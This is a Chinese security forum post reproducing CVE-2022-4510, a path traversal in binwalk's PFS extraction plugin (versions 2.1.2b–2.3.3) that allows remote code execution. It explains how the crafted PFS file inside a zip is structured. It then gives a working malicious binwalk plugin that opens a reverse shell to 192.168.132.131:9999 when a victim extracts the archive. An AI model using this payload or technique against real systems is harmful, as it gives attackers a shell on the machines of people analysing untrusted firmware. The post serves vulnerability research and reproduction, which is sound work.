首页
社区
课程
招聘
[分享]binwalk路径穿越导致RCE(CVE-2022-4510)
发表于: 2023-2-7 21:15 10025

[分享]binwalk路径穿越导致RCE(CVE-2022-4510)

2023-2-7 21:15
10025

简介

在 binwalk 中有一个提取 PFS 文件的插件,一般在嵌入式设备中涉及这种文件格式,但是它在提取文件的时候,路径取的有问题,使会导致路径穿越,把文件写到任意的地方

效果

配合 binwalk 可以在 ~/.config/binwalk/plugins 下面自定义插件运行的特性,通过路径穿越把 python 脚本写在这里,基本能执行任意的命令(毕竟 python 可以 os.system)

局限

因为不知道目标的目录结构,可能没法准确的放到那个目录,可以考虑其他利用方式,参考文章有提到

影响范围

2.1.2b 到 2.3.3

复现过程

https://github.com/ReFirmLabs/binwalk 的 release 界面找到一个在漏洞范围内的下载下来,比如 2.3.3,然后解压出来放在一台 ubuntu 上,进入目录,python setup.py install 安装一下,poc 这里有:https://github.com/ReFirmLabs/binwalk/pull/617

在 ~ 目录下使用 binwalk -Me poc.zip 看一下是不是有效果

接下来看一下 POC 是怎么构成的

压缩包里面有个 pfs 文件

解压出来看看,前面是文件头加路径,后面是文件内容,经过尝试文件内容前面的 C1 就是文件内容长度

接下来保持前面不变,我们自己写个 python 脚本放在 PFS 文件中,并且把长度改一下,然后保存成一个压缩包

import binwalk.core.plugin
import socket,subprocess,os,pty
class MaliciousExtractor(binwalk.core.plugin.Plugin):
    def init(self):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("192.168.132.131",9999))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        pty.spawn("sh")


binwalk -Me malicious.zip 然后 RCE!


参考:

https://github.com/ReFirmLabs/binwalk/pull/617

https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 2458
活跃值: (4626)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
有意思
2023-2-10 16:31
0
游客
登录 | 注册 方可回帖
返回
//